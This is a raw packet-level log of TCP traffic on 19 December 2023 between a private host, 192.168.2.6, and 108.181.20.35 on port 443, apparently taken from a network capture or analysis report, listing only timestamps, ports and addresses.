Dec 19, 2023 05:18:36.292932987 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.292941093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.292979002 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.293710947 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.293730021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.293745041 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.293782949 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.293790102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.293812990 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.293828964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.295504093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.295517921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.295576096 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.295583963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.295617104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.311213970 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.311229944 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.311328888 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.311338902 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.311398029 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.316370010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.316389084 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.316472054 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.316484928 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.316524029 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.379961967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.379981995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.380068064 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.380086899 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.380112886 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.380146027 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.423074961 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.423091888 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.423211098 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.423222065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.423284054 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.453562021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.453588009 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.453653097 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.453670979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.453705072 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.455302000 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.455322981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.455379009 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.455389977 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.455426931 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.465507030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.465527058 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.465590000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.465599060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.465629101 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.475178003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.475200891 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.475258112 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.475267887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.475286961 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.475298882 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.478817940 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.478835106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.478878021 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.478885889 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.478904963 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.478933096 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.479583025 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.480494976 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.480509043 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.480572939 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.480580091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.480612040 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.497020960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.497042894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.497106075 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.497114897 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.497148037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.502476931 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.502494097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.502557039 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.502564907 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.502599955 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.565063000 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.565084934 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.565166950 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.565185070 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.565223932 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.608290911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.608309031 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.608367920 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.608383894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.608418941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.638803005 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.638819933 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.638911963 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.638923883 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.638961077 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.640986919 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.641005039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.641057014 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.641066074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.641125917 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.644186974 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.650475979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.650490999 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.650548935 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.650559902 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.650592089 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.661740065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.661756039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.661827087 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.661837101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.661890984 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.664665937 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.664680958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.664748907 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.664761066 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.664793015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.666002035 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.666016102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.666085958 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.666096926 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.666132927 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.682476997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.682491064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.682584047 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.682595968 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.682643890 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.688172102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.688189030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.688314915 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.688323021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.688355923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.750324011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.750340939 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.750391960 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.750410080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.750447989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.783214092 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.793149948 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.793167114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.793251991 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.793266058 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.793303013 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.818290949 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.818317890 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.818360090 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.818372011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.818394899 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.818412066 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.826085091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.826102018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.826165915 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.826173067 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.826231956 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.835388899 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.835406065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.835568905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.835577965 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.835621119 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.846791983 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.846808910 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.846887112 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.846898079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.846959114 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.849793911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.849811077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.849875927 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.849883080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.849898100 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.849914074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.850997925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.851013899 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.851074934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.851079941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.851110935 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.867367029 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.867386103 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.867450953 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.867465019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.867502928 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.867515087 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.873728991 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.873744011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.873802900 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.873815060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.873847008 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.894118071 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.894134045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.894197941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.894205093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.894248962 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.979562998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.979583025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.979660988 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:36.979681969 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:36.979722023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.003388882 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.003412008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.003484964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.003495932 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.003585100 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.012140989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.012159109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.012226105 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.012239933 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.012273073 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.021002054 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.021018982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.021095991 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.021105051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.021136045 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.032083988 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.032102108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.032320023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.032336950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.032383919 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.035377026 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.035392046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.035439014 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.035449028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.035475016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.035494089 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.036417007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.036432981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.036487103 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.036494970 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.036530972 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.054814100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.054830074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.054932117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.054941893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.054976940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.058805943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.058820963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.058891058 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.058897018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.058929920 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.079678059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.079694033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.079946995 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.079957008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.080049038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.164869070 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.164889097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.165009975 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.165021896 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.165070057 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.165833950 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.188494921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.188519001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.188595057 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.188606977 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.188647032 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.197396994 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.197412968 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.197540998 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.197546959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.197623968 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.206036091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.206052065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.206269026 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.206276894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.206341028 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.216865063 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.216886044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.216948986 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.216960907 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.217000008 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.220570087 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.220586061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.220664024 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.220669985 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.220710993 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.221651077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.221667051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.221719027 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.221724033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.221750021 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.221766949 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.240138054 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.240171909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.240221977 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.240230083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.240395069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.243751049 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.243777037 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.243834019 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.243841887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.243882895 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.306328058 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.306351900 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.306387901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.306396008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.306418896 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.306437969 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.350519896 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.350548983 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.350603104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.350620985 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.350632906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.350657940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.376091003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.376118898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.376308918 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.376318932 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.376516104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.383440018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.383461952 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.383518934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.383534908 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.383548021 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.383568048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.392039061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.392056942 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.392247915 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.392256021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.392297029 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.402590990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.402621031 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.402755976 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.402765989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.402820110 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.405668020 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.405683994 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.405774117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.405781031 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.405843019 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.406721115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.406737089 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.406831026 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.406840086 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.406892061 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.425343037 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.425370932 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.425441980 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.425450087 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.425487995 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.430382013 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.430406094 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.430464029 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:37.430469990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:37.430485010 CET	49718	443	192.168.2.6	108.181.20.35
